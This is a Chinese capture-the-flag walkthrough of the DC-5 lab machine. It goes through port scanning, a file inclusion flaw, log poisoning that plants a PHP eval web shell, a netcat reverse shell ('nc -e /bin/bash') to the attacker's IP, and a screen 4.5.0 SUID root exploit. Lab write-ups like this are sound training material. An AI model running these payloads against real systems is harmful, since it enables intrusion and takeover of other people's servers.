DC-5 靶机渗透测试:信息收集、Web 文件包含漏洞利用与 SUID 提权实战

DC-5 靶机渗透测试报告

其他靶机以及下载

1. 信息收集

信息收集阶段主要通过工具确定靶机IP、开放端口及Web服务器类型,为后续渗透提供基础。

1.1 安装

1.1 确定靶机IP(arp-scan)

因使用PNET环境部署靶机,可快速定位DC-5靶机IP。通过arp-scan扫描局域网设备,确认靶机IP为 192.168.20.238

1
arp-scan -l

1.2 端口与系统探测(nmap)

使用nmap探测靶机开放端口及服务版本,结果显示仅开放 80端口(HTTP)22端口(SSH)

1
nmap -sV 192.168.20.238

1.3 Web服务器识别(Wappalyzer)

通过浏览器插件Wappalyzer分析Web服务,确认服务器为 Nginx,无其他明确框架信息。

2. Web渗透

Web渗透阶段重点挖掘交互功能漏洞,通过文件包含漏洞写入后门,最终获取初始Shell。

2.1 页面功能探测与漏洞推测

访问靶机Web页面(http://192.168.20.238),逐一测试各模块:

  • 大部分模块为静态页面,无交互逻辑;
  • concat模块包含一个与后端交互的表单。

进一步测试发现:页面footer区域的时间随刷新动态变化,推测footer通过文件包含方式加载(动态内容常由外部文件引入),存在文件包含漏洞可能性。

2.2 验证文件包含漏洞

对可能的文件包含参数(如filenamefile)进行爆破,最终发现file参数有效:

  • file参数为空时,footer消失(证明参数控制文件加载);
  • 尝试包含系统敏感文件/etc/passwd,成功读取内容,确认文件包含漏洞存在。

请求URL:

1
http://192.168.20.238/thankyou.php?file=/etc/passwd

2.3 日志包含写入后门

利用Nginx错误日志(路径/var/log/nginx/error.log)写入PHP后门:

  1. 构造包含PHP一句话木马的请求,触发Nginx错误(将木马写入错误日志):
    1
    http://192.168.20.238/thankyou.php?file=<?php @eval($_POST['cmd']);?>
  2. 访问日志文件验证木马是否写入,确认写入成功:
    1
    http://192.168.20.238/thankyou.php?file=/var/log/nginx/error.log

2.4 蚁剑连接与反弹Shell

  1. 蚁剑连接

    • 目标URL:http://192.168.20.238/thankyou.php?file=/var/log/nginx/error.log
    • 连接密码(POST参数):cmd
    • 成功连接,获取www-data权限(低权限)。
  2. 反弹Shell(获取交互式终端)

    • Kali端开启监听(6666端口):
      1
      nc -lvp 6666
    • 蚁剑终端执行反弹命令:
      1
      nc -e /bin/bash 192.168.20.172 6666
    • 成功反弹Shell,Kali端获取连接:
    • 补全交互式终端(优化操作体验):
      1
      python -c 'import pty;pty.spawn("/bin/bash")'

3. 提权(SUID文件利用)

通过查找高权限SUID文件,利用已知漏洞获取root权限。

3.1 查找SUID文件

SUID文件允许普通用户以文件所有者(常为root)权限执行,是提权常用途径。执行命令查找所有SUID文件:

1
find / -perm -u=s -type f 2>/dev/null

发现关键文件:/bin/screen-4.5.0screen工具,版本4.5.0,存在已知提权漏洞)。

3.2 搜索漏洞利用脚本(searchsploit)

使用searchsploit(Exploit-DB本地搜索工具)查找screen 4.5.0的漏洞脚本:

1
searchsploit screen 4.5.0

返回两个有效脚本:

  • linux/local/41152.txt(漏洞说明与手动利用步骤)
  • linux/local/41154.sh(自动化利用脚本,更高效)

脚本默认路径:/usr/share/exploitdb/exploits/

3.3 执行利用脚本获取flag

  1. 复制脚本到Web目录:将41154.sh复制到Kali的/var/www/html目录(便于靶机下载):

    1
    cp /usr/share/exploitdb/exploits/linux/local/41154.sh /var/www/html/

  2. 靶机下载并执行脚本

    • 注意:蚁剑终端可能因字符集问题报错,建议在Kali反弹Shell或CMD中执行;
    • 执行脚本后,自动获取root权限,并生成flag文件thisistheflag.txt
  3. 查看flag

    1
    cat thisistheflag.txt

flag内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
888b    888 d8b                                                      888      888 888 888
8888b 888 Y8P 888 888 888 888
88888b 888 888 888 888 888
888Y88b 888 888 .d8888b .d88b. 888 888 888 .d88b. 888d888 888 888 888 888 888
888 Y88b888 888 d88P" d8P Y8b 888 888 888 d88""88b 888P" 888 .88P 888 888 888
888 Y88888 888 888 88888888 888 888 888 888 888 888 888888K Y8P Y8P Y8P
888 Y8888 888 Y88b. Y8b. Y88b 888 d88P Y88..88P 888 888 "88b " " "
888 Y888 888 "Y8888P "Y8888 "Y8888888P" "Y88P" 888 888 888 888 888 888




Once again, a big thanks to all those who do these little challenges,
and especially all those who give me feedback - again, it's all greatly
appreciated. :-)

I also want to send a big thanks to all those who find the vulnerabilities
and create the exploits that make these challenges possible.

4. 渗透总结

DC-5靶机渗透核心路径:
信息收集(IP/端口)→ Web漏洞挖掘(文件包含)→ 日志包含写后门 → 反弹Shell → SUID文件提权(screen-4.5.0)→ 获取flag
关键在于文件包含漏洞的利用(日志写入后门)和SUID高权限工具的漏洞利用,属于典型的Web渗透+本地提权流程。